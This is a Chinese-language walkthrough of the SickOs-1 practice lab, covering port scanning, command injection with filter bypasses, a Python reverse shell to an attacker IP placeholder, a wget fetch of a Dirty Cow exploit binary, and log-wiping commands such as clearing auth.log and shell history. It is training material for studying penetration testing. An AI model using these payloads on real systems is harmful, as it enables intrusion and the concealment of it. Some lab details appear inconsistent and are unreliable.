1. SickOs-1靶机渗透测试概述
SickOs-1是Vulnhub平台上经典的渗透测试靶机之一,属于难度中等的Linux系统环境。这个靶机设计精妙地模拟了真实世界中存在多种漏洞的Web服务器环境,特别适合用来练习信息收集、漏洞利用和权限提升等渗透测试核心技能。我在实际测试中发现,这个靶机至少包含3个不同层级的漏洞链,需要渗透者逐步突破边界防御、Web应用防护和系统级权限控制。
作为Vulhub系列中第19个实验环境,SickOs-1相比前几个靶机有几个显著特点:首先它采用了非常规的Web服务配置,默认端口不是80而是81;其次系统内存在精心设计的权限隔离机制;最重要的是靶机中埋设了多个需要组合利用的漏洞点。这些特性使得它成为检验渗透测试人员综合能力的绝佳实验平台。
2. 环境准备与初始侦察
2.1 靶机环境搭建
推荐使用VirtualBox导入SickOs-1的OVA文件(下载自Vulnhub官网),分配至少1GB内存和20GB硬盘空间。特别注意:首次启动时需要在VirtualBox设置中将网络适配器调整为"桥接模式",这样攻击机(Kali Linux)才能与靶机处于同一网络段。我遇到过不少学员因为网络模式配置错误导致无法发现靶机的情况。
# 查看本机IP范围 ifconfig # 使用nmap扫描同网段活跃主机 nmap -sn 192.168.1.0/242.2 基础信息收集
通过ARP扫描和Nmap服务探测,我们首先定位靶机的IP地址。这里有个关键细节:SickOs-1的Web服务默认运行在81端口而非常规的80端口,这是第一个容易忽略的点。完整的服务扫描命令应该包含全端口扫描:
nmap -p- -A -T4 192.168.1.105扫描结果通常会显示以下开放端口:
- 22/tcp ssh
- 81/tcp http
- 3128/tcp squid-proxy
注意:实际测试中我发现这个Squid代理服务存在特殊配置,不当使用会导致扫描结果不准确。建议初次扫描时先避开代理端口的干扰。
3. Web应用渗透测试实战
3.1 非标准端口Web服务探测
访问http://192.168.1.105:81会看到一个简单的登录页面。通过查看页面源码和目录扫描,我们可以发现几个关键路径:
/dirb common wordlist扫描结果: /cgi-bin/status /secret /test使用Burp Suite抓包分析发现,/cgi-bin/status端点存在命令注入漏洞。这是第一个突破口,但直接注入会失败,因为系统做了基础过滤。经过多次测试,我发现以下payload可以绕过过滤:
;echo;whoami这个payload利用了分号分隔命令和echo的空输出特性,成功执行了whoami命令。通过这个漏洞我们可以确认当前Web服务运行在www-data用户权限下。
3.2 反向Shell获取
为了建立更稳定的控制通道,我们需要获取反向shell。经过测试,以下Python代码可以通过命令注入漏洞执行:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'在Kali上使用nc监听4444端口即可获得shell。但这里有个关键技巧:由于靶机环境缺少某些依赖,直接使用bash或netcat可能会失败。Python是更可靠的选择,这也是我在多次实战中总结的经验。
4. 权限提升与后渗透
4.1 横向移动技术
获得初始shell后,在/home目录下可以发现用户sickos的存在。通过检查/tmp和/var/log等目录,我找到了一个有趣的线索:系统定期执行的日志清理脚本存在权限配置问题。
ls -la /etc/cron.d/ cat /var/log/sickos_clean.log这个发现为我们提供了两种可能的提权路径:通过cron任务注入或者利用脚本中的相对路径漏洞。经过测试,第二种方法更为可靠。
4.2 内核漏洞提权
检查系统内核版本:
uname -a Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP i686 i686 i386 GNU/Linux这个内核版本存在多个已知漏洞。我推荐使用Dirty Cow(CVE-2016-5195)进行提权,因为它在类似环境中成功率最高。具体步骤:
- 在攻击机编译exp:
gcc -pthread dirty.c -o dirty -lcrypt- 通过Python HTTP服务上传到靶机:
python -m SimpleHTTPServer 8000 wget http://攻击机IP:8000/dirty- 执行提权:
chmod +x dirty ./dirty成功后会提示输入新密码,之后就可以通过su root获取完整权限了。
5. 渗透测试中的难点与技巧
5.1 非常规端口的处理
SickOs-1使用81端口作为Web服务端口,这在实际渗透测试中并不罕见。我的经验是:永远不要假设服务运行在标准端口上。完整的渗透测试应该包含:
nmap -p- -sV 目标IP masscan -p1-65535 目标IP --rate=10005.2 命令注入的绕过技巧
当遇到被过滤的命令注入点时,可以尝试以下绕过方法:
- 使用${IFS}代替空格
- 用base64编码命令
- 利用环境变量拼接敏感字符
- 尝试多种命令分隔符(; & && | ||)
在SickOs-1的案例中,我发现用$()嵌套执行可以绕过部分过滤:
$(echo -e "whoami")5.3 提权路径的选择
面对多个可能的提权路径时,建议按照以下优先级尝试:
- SUID/GUID错误配置
- Cron任务漏洞
- 内核漏洞
- 密码复用或弱密码
- 服务配置错误
在SickOs-1中,我最终选择了内核漏洞提权,因为其他路径要么不存在要么需要更多前置条件。这也是渗透测试中的一个重要原则:选择最直接有效的路径,而不是执着于某个特定方法。
6. 渗透测试后的痕迹清理
获取root权限后,作为负责任的渗透测试者,我们需要清理操作痕迹。主要关注以下几个文件:
/var/log/auth.log /var/log/syslog ~/.bash_history /tmp/目录下的临时文件可以使用以下命令快速清理:
echo "" > /var/log/auth.log history -c rm -f /tmp/.??*重要提示:在实际授权测试中,清理前务必先与客户确认,有些场景需要保留完整日志作为报告附件。
通过完整演练SickOs-1靶机,我深刻体会到渗透测试就像解谜游戏,需要耐心、创造力和系统化的思维。每个看似简单的漏洞背后,都可能隐藏着通向最终目标的路径。建议新手在掌握基础方法后,多尝试不同的攻击路径组合,这对培养实战能力大有裨益。